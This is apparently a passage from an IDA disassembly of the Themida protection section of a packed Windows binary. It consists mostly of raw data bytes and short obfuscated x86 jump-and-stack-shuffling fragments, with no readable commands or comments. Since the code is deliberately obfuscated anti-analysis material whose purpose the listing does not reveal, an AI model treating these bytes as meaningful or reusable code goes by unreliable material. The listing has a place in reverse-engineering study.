		dd 15CFC221h, 0E7E9EFD1h, 0F700002Dh, 75F681D6h, 8145636Dh
		dd 740E3EEEh, 0A2C58181h, 2940AE73h, 0A2ED81F5h, 0E940AE73h
		dd 0FFFFB617h, 515AD030h, 0F58099B5h, 0FFC58040h, 0E15E9h
		dd 4C48100h, 29000000h,	0B9515DEBh, 213B1A36h, 0FF9137E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C7F5:				; CODE XREF: Themida_:00556C53j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55C136
; ---------------------------------------------------------------------------
		db 0B0h, 63h, 0Ch
		dd 0E94DE96Eh, 0C483FFFFh, 2B99E904h, 0E8280000h, 51D82859h
		dd 0FFFCE7E9h, 0C98149FFh, 103338EAh, 0FF81CCE9h, 24048BFFh
		dd 4C481h, 0A2E90000h, 8BFFFF75h, 0F3E9241Ch
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C847:				; CODE XREF: Themida_:00555553j
		add	edx, 4
		push	edi
		push	eax
		push	43F12FF1h
		jmp	loc_55F7FE
; ---------------------------------------------------------------------------
byte_55C859	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055327Co
		db '$hÉ&',0
		align 2
aIH8		db '‰<$hË8',0
		align 2
		dw 77E9h
		dd 51FFFF9Ah, 885891B9h, 1D0C683Fh, 4890000h, 671DB824h
		dd 6EE96BE6h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C887:				; CODE XREF: Themida_:0055B38Bj
		add	ebx, 0FFFFFFFFh
		jmp	loc_55CE5D
; ---------------------------------------------------------------------------
		dw 1A04h
		dd 24148B66h, 5E08950h,	4, 205h, 24048700h, 8024248Bh
		dd 0C380D5C3h, 80C32804h, 0EC8304EBh, 7C4BE904h, 0C72CFFFFh
		dd 38CE9h
		db 0
byte_55C8C5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005533D4o
		dd 4EC8324h, 54242C89h,	0FFE95AE9h, 4335EFFh, 24043124h
		dd 5C240433h, 7999BD55h, 0E581016Ch, 5960748Fh,	0FFA340E9h
		dd 511BBEFFh, 0D4E93B0Bh, 89FFFF92h, 240C8BCAh,	4C481h
		dd 12E90000h, 81000031h, 6620A8EBh, 6EBC127h, 0F381D3F7h
		dd 0FEF0E77Bh, 835BD901h, 7D6802C1h, 8900006Bh,	74FF240Ch
		dd 0E9590424h, 0FFFFCD8Bh
; ---------------------------------------------------------------------------


loc_55C934:				; CODE XREF: Themida_:0055D170j
		pop	dword ptr [esp]
		jmp	loc_55F326
; ---------------------------------------------------------------------------
		dd 832BF57h, 0FD893F28h, 0FFCB5EE9h, 3E3C1FFh, 1119F381h
		dd 4FE9563Fh, 66FFFFC4h, 0A9F68058h, 0FF773BE9h, 9FE958FFh
		dd 81000024h, 0BE0813EFh, 81D7014Ch, 0BE0813C7h, 5C7814Ch
		dd 0FF30441Dh, 0C9E92434h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C983:				; CODE XREF: Themida_:0055354Aj
		sub	al, 0BFh
		push	edx
		jmp	loc_55853A
; ---------------------------------------------------------------------------


loc_55C98B:				; CODE XREF: Themida_:005585E9j
		test	ecx, eax
		pushf
		jmp	loc_55E136
; ---------------------------------------------------------------------------
		db 51h
		dd 0BB53E189h, 0E48124Dh, 0FB874343h, 0FB87D7F7h, 0EDB4F381h
		dd 48E9F1B7h, 81FFFF77h, 1A1E87C3h, 31685244h, 5A4C2228h
		dd 8904EC83h, 4968240Ch, 5966F139h, 0F181D9F7h,	509B66ADh
		dd 0FFB800E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C9D5:				; CODE XREF: Themida_:00557F86j
		or	eax, eax
		jz	loc_557ED1
		push	dword ptr [edi+1Ch]
		push	15BFh
		mov	[esp], esi
		jmp	loc_55A67A
; ---------------------------------------------------------------------------
		db 5Dh,	56h, 89h
		dd 0D7B850E6h, 0E97CCE1Ch, 2D7Dh
; ---------------------------------------------------------------------------


loc_55C9FC:				; CODE XREF: Themida_:0055C107j
		push	104C57A3h
		jmp	loc_55A133
; ---------------------------------------------------------------------------


loc_55CA06:				; CODE XREF: Themida_:005540AAj
		push	ebx
		jmp	loc_55640E
; ---------------------------------------------------------------------------


loc_55CA0C:				; CODE XREF: Themida_:0055FB6Ej
		mov	esp, [esp]
		jmp	loc_55DD70
; ---------------------------------------------------------------------------
		dd 0EF814747h, 6F23C0Bh, 0C15FFD89h, 814D02E5h,	3D34D6EDh
		dd 29ED814Ch, 14B3FAEh,	51555DE8h, 0A36DE953h, 0BF57FFFFh
		dd 2C7D66AEh, 81E7D147h, 6D6BBBE7h, 0B2C7811Eh,	47309929h
		dd 367BE56h, 0D6F7632Eh, 7631C681h, 0EBE9AC2Fh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA63:				; CODE XREF: Themida_:00557A41j
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_556598
; ---------------------------------------------------------------------------
word_55CA76	dw 8B66h		; DATA XREF: Themida_:0055328Co
		dd 64E9240Ch
		db 91h,	2 dup(0FFh)
byte_55CA7F	db 68h			; DATA XREF: Themida_:005532ACo
		dd 53947h, 5624048Bh, 179EE9h, 0E9DE0100h, 0FFFF9AB2h
dword_55CA94	dd 0E92434FFh, 0FFFFA40Eh ; DATA XREF: Themida_:00553400o
; ---------------------------------------------------------------------------


loc_55CA9C:				; CODE XREF: Themida_:0055CB26j
		add	esp, 4
		sub	ebp, 4D190B50h
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55A943
; ---------------------------------------------------------------------------


loc_55CAAF:				; CODE XREF: Themida_:005579F0j
		pop	esp
		push	ebp
		push	31272EC0h
		mov	ebp, [esp]
		jmp	loc_55B0AA
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 772630E0h, 505AD189h, 0A78F19B8h, 58C12930h,	6859C831h
		dd 53D7h, 0BF243C89h, 4D3D587Dh, 4EC81h, 34890000h, 47E4BE24h
		dd 0F7090BB4h, 0FF6C6EE9h, 0E9EFD1FFh, 264Ah, 0DEE9EE01h
		dd 5C000016h, 0FF9F4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB09:				; CODE XREF: Themida_:00557C1Bj
		sub	edi, 5E33F93Fh
		mov	ebp, edi
		pop	edi
		push	edx
		mov	edx, 8C61B15h
		mov	ecx, 0F794038Eh
		jmp	loc_5571C2
; ---------------------------------------------------------------------------


loc_55CB22:				; CODE XREF: Themida_:00555702j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55CA9C
; ---------------------------------------------------------------------------
		db 0FEh
aAq		db 'Ï€ïÛ',0
		db 0F8h, 5Bh, 8Bh
		dd 0F4E9241Ch, 5DFFFFCCh, 0E924148Bh, 0FFFFD9AAh, 555AD101h
		dd 2BDh, 5DE90100h, 0C3DCE951h,	0C4E9FFFFh, 55FFFF69h
		dd 321FAFBDh, 5DE83151h, 47E95355h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55CB6B:				; CODE XREF: Themida_:0055D499j
		shr	ecx, 0Bh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5551BC
; ---------------------------------------------------------------------------


loc_55CB86:				; CODE XREF: Themida_:0055D073j
		add	esi, ebp
		sub	esi, 443A085Eh
		pop	ebp
		jmp	loc_554D6A
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2D6924F1h, 30CCF581h, 0BB53674Ah, 619B2366h
		dd 0FFE0BDE9h, 0EEC14EFFh, 89EE8103h, 5B7E786h,	7D885FE1h
		dd 3BBBE56h, 0F0016369h, 0EFBB535Eh, 2941E220h,	0F0015BD8h
		dd 0E220EF05h, 3BB2D41h, 0E12D6369h, 0FF7D885Fh, 815E2434h
		dd 4C4h, 7F136800h, 0C890000h, 4D56824h, 3C890000h, 2C4C6824h
		dd 34FF07CAh, 0C4835F24h, 0ABD5E904h, 1431FFFFh, 24143324h
		dd 6624248Bh, 9C240409h, 0FF6902E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC1D:				; CODE XREF: Themida_:00553E1Bj
		add	edx, 4
		push	1234h
		mov	[esp], edx
		jmp	loc_555544
; ---------------------------------------------------------------------------
		dd 31243C33h, 0A4E9243Ch, 0C1FFFFC9h, 0E98102E9h, 3EFEEFEBh
		dd 121EB81h, 0CB010745h, 0FF6C25E9h, 0E9F504FFh, 0FFFFD3D4h
		dd 8124248Bh, 4C2h, 68555100h, 16BE1ABBh, 6EE1B95Dh, 0E9314CB5h
		dd 0B5C9815Dh, 4948DB46h, 12AEBE56h, 0F1011380h, 0AAE9815Eh
		dd 16E5B89h, 148759CAh,	18B5E924h, 0D8210000h, 5B2434FFh
		dd 0B04C483h, 0B5840FC0h, 68FFFFA0h, 119Fh, 0BB241C89h
		dd 2A1816F1h, 105DC381h, 0C38101E9h, 2157540h, 618CB850h
		dd 79E953A5h, 31FFFFDEh, 14332414h, 0FE31E924h,	4BDFFFFh
		dd 1000000h, 0EA815DEAh, 4, 2474FF52h, 8F51E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCEA:				; CODE XREF: Themida_:0055F663j
		sub	edi, 261980FDh
		jmp	loc_559190
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 7481E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD02:				; CODE XREF: Themida_:00555053j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_554B7C
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0A5C8E9F2h, 0EBC1FFFFh, 37C38106h,	297DAA05h
		dd 0CCE95BDAh
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD2F:				; CODE XREF: Themida_:005574D6j
		or	dl, 25h
		push	44Bh
		mov	[esp], eax
		jmp	loc_55B62F
; ---------------------------------------------------------------------------
		db 88h
		dd 7AE958C6h, 0B2FFFF96h, 80DAF619h, 0EB80DEEAh, 0E9D32888h
		dd 0FFFF6B97h, 51241489h, 300CFBB9h, 0D9F7493Bh, 0CFEC181h
		dd 0CA893B30h, 0FF7C7BE9h
		db 0FFh
byte_55CD71	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005533CCo
		dd 4EC8324h, 54242C89h,	2220685Dh, 14890000h, 5A8BBA24h
		dd 0CA8111FAh, 34B800A6h, 0FF70D7E9h, 0D5E95CFFh, 58000025h
		dd 0E980F128h, 24148BBEh, 0E904C483h, 0FFFFD790h, 0E9243489h
		dd 0FFFFBB3Ah
; ---------------------------------------------------------------------------


loc_55CDB4:				; CODE XREF: Themida_:0055410Aj
		mov	[esp], ebx
		jmp	loc_555758
; ---------------------------------------------------------------------------
		dd 4C281h, 0BB530000h, 97429B9h, 34A3F381h, 0B95156ECh
		dd 65DC588Eh, 74ABE181h, 0E9812687h, 6AAE4018h,	2572C181h
		dd 0F1812DFBh, 245C0BDCh, 6EC181h, 0CB099F1Bh, 5EF38159h
		dd 81390C0Bh, 4BCB24C3h, 0C832E9B9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE06:				; CODE XREF: Themida_:00553EFCj
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_556224
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9520000h, 0FFFF774Ah
; ---------------------------------------------------------------------------


loc_55CE28:				; CODE XREF: Themida_:0055EC7Dj
		mov	edx, 30B81922h
		mov	esi, 30B81926h
		xor	esi, edx
		jmp	loc_5549AF
; ---------------------------------------------------------------------------


loc_55CE39:				; CODE XREF: Themida_:00556565j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_556108
		push	55AAh
		mov	[esp], eax
		push	edi
		jmp	loc_5575E6
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd 2145E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CE5D:				; CODE XREF: Themida_:0055C88Dj
		sub	ebx, 2DD66440h
		push	eax
		jmp	loc_5575AC
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0BCh
		dd 8153EB1Ah, 0B7102DE7h, 7EFC118h, 0FFF925E9h,	2CB2FFh
		dd 0EB005AD3h, 0FF9F29E9h, 0F6C786FFh, 88C786D0h, 50665BFAh
		dd 0C220A3B0h, 0C2805866h, 8604A9h, 5A862CD0h, 0FFD152E9h
		dd 240C31FFh, 5C240C33h, 0E99CC83Bh, 0FFFF6667h, 9BAEF581h
		dd 22E927ABh, 81FFFFB6h, 2C4h, 68665600h, 89665CA9h, 0BD66242Ch
		dd 89662BEBh, 7F8FE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CEDE:				; CODE XREF: Themida_:00557FE8j
		push	esi
		mov	esi, 4E266850h
		sub	esi, 4E26684Ch
		jmp	loc_55EC36
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFE08DE9h, 2DE955FFh, 81FFFFF3h, 898FFAF3h,	0BAC781D8h
		dd 0E9440A6Eh, 1428h, 353F685Ch, 14890000h, 0E636824h
		dd 20E97B58h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF1F:				; CODE XREF: Themida_:0055F0C4j
		xchg	esi, [esp]
		pop	esp
		push	3DABh
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55E924
; ---------------------------------------------------------------------------


loc_55CF35:				; CODE XREF: Themida_:005596FCj
		push	ecx
		push	edx
		jmp	loc_557083
; ---------------------------------------------------------------------------


loc_55CF3C:				; CODE XREF: Themida_:00559566j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_555ABF
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0F8C4E924h, 0EB88FFFFh, 1FEFE9h, 0EBED8100h,	0E90443E5h
		dd 0FFFFC4E6h, 0FF65BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF65:				; CODE XREF: Themida_:0055F0B0j
		mov	edx, 9750FFBh
		mov	ebp, 2542F575h
		add	ebp, edx
		pop	edx
		add	ebp, 3AC100D9h
		dec	ebp
		shr	ebp, 6
		xchg	esi, ebp
		add	esi, 0FFFFFFFFh
		push	ebp
		push	3C22h
		mov	[esp], esi
		mov	ebp, [esp]
		jmp	loc_559CA4
; ---------------------------------------------------------------------------


loc_55CF92:				; CODE XREF: Themida_:00558807j
		sub	al, 51h
		jmp	loc_558991
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 0A7h
		dd 0FF7C99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: Themida_:0055AC3Fj
		xor	ebp, [esp]
		jmp	loc_55A6E3
; ---------------------------------------------------------------------------


loc_55CFA9:				; CODE XREF: Themida_:0055EEA9j
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_558711
; ---------------------------------------------------------------------------
		db 68h,	7Eh, 23h
		dd 0DAE9351Dh, 5BFFFF81h, 6C4CE952h
		db 2 dup(0FFh)
word_55CFD2	dw 8B66h		; DATA XREF: Themida_:00553310o
		dd 0EC81240Ch, 4, 68241489h, 4022h, 24048F54h, 4240483h
		dd 4C2815Ah, 55000000h,	2BDh, 8BEA0100h, 8950242Ch, 405E0h
		dd 0BD550000h, 4, 875DE801h, 335C2404h,	0ACE92414h
		db 0FCh, 2 dup(0FFh)
byte_55D01B	db 66h			; DATA XREF: Themida_:0055339Co
		dd 6602B60Fh, 6643CD68h, 0E9240489h, 0FFFF64F3h, 4BAh
		dd 5AD10100h, 2C181h, 0C870000h, 24248B24h, 0FFB4DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D045:				; CODE XREF: Themida_:0055A38Fj
		and	eax, ecx
		jmp	loc_55BF8C
; ---------------------------------------------------------------------------


loc_55D04C:				; CODE XREF: Themida_:0055BEAFj
		mov	esi, esp
		jmp	loc_5579DE
; ---------------------------------------------------------------------------


loc_55D053:				; CODE XREF: Themida_:00558CE0j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, 443A085Eh
		jmp	loc_55CB86
; ---------------------------------------------------------------------------
		dd 5002C483h, 0F480AEB4h, 0DDCC8057h, 8002ECC0h, 1DE9FFECh
		dd 83FFFFABh, 545004C4h, 0FFFEADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D099:				; CODE XREF: Themida_:005584D5j
		xor	ebp, 3F2A4AC7h
		push	7D2Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559668
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 559101C6h, 815EF389h, 263527C3h, 0F3814B48h,	585D27FFh
		dd 10E4CB81h, 0CB81369Fh, 75280CE2h, 0F6FBC381h, 0DD890D61h
		dd 0E9E8295Bh, 0FFFF6A37h, 88ECC380h, 8FE95BDDh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D0EF:				; CODE XREF: Themida_:00559CF4j
		xchg	ebx, [esp]
		jmp	loc_555D8B
; ---------------------------------------------------------------------------
		db 81h
		dd 877F04C2h, 0E599E964h, 5D5EFFFFh, 9FBB5352h,	8159D16Eh
		dd 0E03ABFEBh, 8EBC17Eh, 0FFA0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D119:				; CODE XREF: Themida_:0055F4F3j
		sub	edi, 28E67473h
		push	5ECEh
		mov	[esp], edi
		jmp	loc_555513
; ---------------------------------------------------------------------------
		dd 94EA815Ah, 580D9035h, 0FFAE85E9h, 0CD25CFFh,	0DCE99C24h
		db 63h,	2 dup(0FFh)
byte_55D143	db 0FFh			; DATA XREF: Themida_:00553368o
		dd 48B2434h, 75306824h,	34890000h, 81E68924h, 4C6h, 0DDA8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D15E:				; CODE XREF: Themida_:0055B616j
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55C934
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4330000h, 24043124h,	0FFC5B0E9h, 59CB01FFh, 1C8BD889h
		dd 4C48124h, 1000000h, 0C78158C7h, 4, 31243C33h, 65E9243Ch
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1A7:				; CODE XREF: Themida_:00556019j
		mov	ebx, [esp]
		add	esp, 4


loc_55D1AD:				; CODE XREF: Themida_:00557454j
		push	ebx
		jmp	loc_554A95
; ---------------------------------------------------------------------------
		db 89h
		dd 27BB241Ch, 0C1145D4Eh, 0E38103EBh, 72525591h, 4301C383h
		dd 2684EB81h, 0C381030Bh, 0D314643h, 55BD829h, 3366417Ch
		dd 7C2DD801h, 0E9336641h, 0FFFFDDA6h, 3BC9B966h, 30B86650h
		dd 29056670h, 6640666Fh, 66C0042Dh, 0E958C109h,	0D1Ch
; ---------------------------------------------------------------------------


loc_55D204:				; CODE XREF: Themida_:0055620Fj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE5EB4CDh, 0EFED816Ah, 8150F457h, 4C315AF5h, 3EDC167h
		dd 2A57C581h, 0EA29F923h, 9CCA815Dh, 81216106h,	153FB4E2h
		dd 6F2811Ch, 5268A973h,	79240481h, 5E0FA917h, 1779EE81h
		dd 148B0FA9h, 4C48124h,	81000000h, 0E427E7F6h, 0C1DEF736h
		dd 3EE904E6h
		db 0F9h, 2 dup(0FFh)
byte_55D26F	db 0FFh			; DATA XREF: Themida_:00553420o
		dd 589D1C77h, 9C240419h, 0FF62A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D27D:				; CODE XREF: Themida_:0055B90Dj
		and	eax, edi
		pop	edi
		xor	eax, 13D90AD5h
		mov	ecx, eax
		pop	eax
		shr	ecx, 3
		xor	ecx, 589B03E3h
		jmp	loc_55B731
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 372D6283h, 56C1F181h, 0A3E960A1h, 52FFFF8Fh,	6F43ABBAh
		dd 0E9D7291Ch, 0FFFFDC4Ah, 139FE181h, 0ADE91E02h, 0FFFFFF7Eh
		dd 78E92434h, 81FFFF6Bh, 0EE371FE5h, 0DCF5812Ch, 17B8148h
		dd 0F2E95DEBh, 89FFFFAEh, 0F67FE9C5h, 0D029FFFFh, 6921112Dh
		dd 0E6E95A3Dh, 89FFFFC7h, 83B3241Ch, 7EE9D920h,	0FEFFFF67h
		dd 66C6FEC6h, 0E91EB151h, 0FFFF8204h, 0C0B60F58h, 688734FFh
		dd 5EA4h, 0B8240489h, 4E1B434Ch, 4244431h, 8324048Bh, 92E904C4h
		dd 5FFFFF85h, 478ADDB9h, 1E98132h, 0E931552Ch, 0FFFF87E1h
; ---------------------------------------------------------------------------


loc_55D33C:				; CODE XREF: Themida_:00556DF9j
		mov	ebx, ecx
		pop	ecx
		add	ebx, 616701h
		add	ebx, edi
		sub	ebx, 616701h
		jmp	loc_559388
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 201FE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D36A:				; CODE XREF: Themida_:0055A44Fj
		pop	eax
		jmp	loc_554C5B
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 2C0E9h, 9AC78100h, 0C1005569h, 0F74F03EFh
		dd 0EF8147D7h, 0C6005DDAh, 0F781EFD1h, 2E2D6DFCh, 6A24C781h
		dd 0EF810EC3h, 0CA73F8F3h, 0BCE9F889h, 83FFFFDEh, 0C8904ECh
		dd 34815524h, 6A57B024h, 0E9591Fh, 81FFFF64h, 9249F8CFh
		dd 0E9DFF771h, 0FFFFE29Eh, 0EC815D54h, 4, 0B8240489h, 6E994B17h
		dd 0B4EC0540h, 85E99166h, 58FFFF8Ah, 0E289525Dh, 0FF9697E9h
		dd 0A3E957FFh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D3F3:				; CODE XREF: Themida_:00555813j
		mov	cx, [esp]
		add	esp, 2
		push	17Fh
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 418463BBh
		sub	ebp, 75377850h
		jmp	loc_556EF6
; ---------------------------------------------------------------------------


loc_55D418:				; CODE XREF: Themida_:0055E7DBj
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 79E62DEDh
		shr	eax, 5
		xor	eax, 52BB6457h
		add	eax, 4D317BD2h
		push	ecx
		mov	ecx, 3CD020DDh
		jmp	loc_5572EF
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 0E9h
		dd 13A7h, 4C381h, 0EB810000h, 4, 8B241C87h, 14892424h
		dd 0E6CFBA24h, 81054387h, 1341C23h, 23812DD0h, 9CE9341Ch
		dd 5F00001Dh, 2642E9h, 0DF015E00h, 4EC815Bh, 89000000h
		dd 2B82404h, 1000000h, 466858C7h, 89000043h, 1CE9243Ch
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D493:				; CODE XREF: Themida_:00553EE4j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55CB6B
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFFE57h
dword_55D4A4	dd 6BDE9ACh, 4BB0000h, 1000000h, 4875BD8h, 0BAE95C24h
					; DATA XREF: Themida_:005533A8o
		db 11h,	2 dup(0)
byte_55D4BB	db 0FFh			; DATA XREF: Themida_:005532A8o
		dd 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 5CFA14E0h
		and	ecx, 6D0737B4h
		jmp	loc_55448F
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 6
		dd 1EE81h, 8EE90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D4E3:				; CODE XREF: Themida_:005558B8j
		push	eax
		mov	eax, 0B0E6C24Bh
		sub	ebp, 76FD7F09h
		add	ebp, eax
		jmp	loc_55A21A
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 7450121h, 15AD689h, 0EDE95EF3h, 51FFFFA1h, 4EC81h, 1C890000h
		dd 80D7B324h, 51667AC3h, 0CB0033B1h, 241FE9h, 39F58000h
		dd 0E9DDED80h, 0FFFF80DDh
; ---------------------------------------------------------------------------


loc_55D52C:				; CODE XREF: Themida_:0055A176j
		mov	edx, 51F317FAh
		or	edx, 523E028Eh
		add	edx, 36253E33h
		add	edx, 75DBA9D3h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5593A7
; ---------------------------------------------------------------------------
		db 0BEh
		dd 76F46C62h, 348BF589h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 87268h, 8226E900h, 4B8FFFFh, 81000000h
		dd 471D04C2h, 81C2297Eh, 471D04EAh, 89D2E97Eh, 0F52DFFFFh
		dd 8B60B74Dh, 0C4812414h, 4, 114FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D5C6:				; CODE XREF: Themida_:0055D9D8j
		add	eax, 232E5611h
		pop	edx
		jmp	loc_55A5C8
; ---------------------------------------------------------------------------


loc_55D5D1:				; CODE XREF: Themida_:00556ED5j
		pop	esp
		mov	[esp], esi
		push	6C94h
		mov	[esp], esp
		jmp	loc_556B93
; ---------------------------------------------------------------------------
		dw 0D5Bh
		dd 661D5922h, 0FF6FC0E9h, 0E2B4FFh, 0C02AE9E3h,	0D5F6FFFFh
		dd 0C09BF580h, 0C53006EDh, 0C530E830h, 21DCE9h,	243C8900h
		dd 256BE954h, 0EBC10000h, 861BE907h, 0CE01FFFFh, 6177C681h
		dd 34E96B73h, 8FFFF71h,	0F96859EAh, 0E900000Dh,	0FFFF629Bh
		dd 0FF5EE6E9h, 2434FFFFh, 8B2434FFh, 0C4812414h, 4, 81E38953h
		dd 4ECh, 9C88E900h, 8957FFFFh, 4C781E7h, 83000000h, 3C8704C7h
		dd 1C685C24h, 89000046h, 0E6892434h, 4925BA52h,	0E281643Ah
		dd 6F107CFFh, 0EAE9D2F7h, 53FFFFADh, 65623CBBh,	245C015Ch
		dd 0DE95B04h, 83FFFFD6h, 76E904C4h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D69B:				; CODE XREF: Themida_:0055820Ej
		pop	ebx
		sub	[edi+24h], edx
		jmp	loc_5574F7
; ---------------------------------------------------------------------------
		dd 0EBD0D8B3h, 0FFCCE7E9h, 24248BFFh, 9CC88566h, 0FF81A4E9h
		dd 60E95CFFh, 1FFFF5Eh,	4BED81D5h, 5A3BB178h, 4C581h, 2C330000h
		dd 0AA93E924h, 0C701FFFFh, 4B85058h, 81000000h,	4ECh, 24048900h
		dd 10A8FB8h, 58C7013Bh,	0EF81C701h, 3B010A8Fh, 0FFE0F1E9h
		db 0FFh
byte_55D6FD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005533DCo
		dd 8324048Bh, 28E904C4h, 80000017h, 5B6801C5h, 89000043h
		dd 0B450241Ch, 58E3886Dh, 0D0B551h, 0CCE959EBh
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D727:				; CODE XREF: Themida_:0055DB57j
		add	eax, ecx
		add	eax, 70AB6DC5h
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 274C6E9Ah
		add	edi, eax
		jmp	loc_55655B
; ---------------------------------------------------------------------------


loc_55D741:				; CODE XREF: Themida_:0055915Cj
		neg	esi
		jmp	loc_557E20
; ---------------------------------------------------------------------------
		dd 0ABE95352h, 0B6FFFFD1h, 817EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D756:				; CODE XREF: Themida_:0055C139j
		mov	eax, 3D71017Dh
		shr	eax, 7
		not	eax
		xor	eax, 1EB46DB4h
		xor	eax, 11B66401h
		shr	eax, 7
		push	ebp
		mov	ebp, 14555A83h
		jmp	loc_55F92C
; ---------------------------------------------------------------------------


loc_55D778:				; CODE XREF: Themida_:0055C717j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_554AA0
; ---------------------------------------------------------------------------


loc_55D792:				; CODE XREF: Themida_:005599F3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_553BF7
; ---------------------------------------------------------------------------
byte_55D7AB	db 66h			; DATA XREF: Themida_:00553254o
		dd 8324048Bh, 0B9E904ECh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D7B7:				; CODE XREF: Themida_:0055E9D4j
		mov	esi, esp
		jmp	loc_55590A
; ---------------------------------------------------------------------------
		dw 0D147h
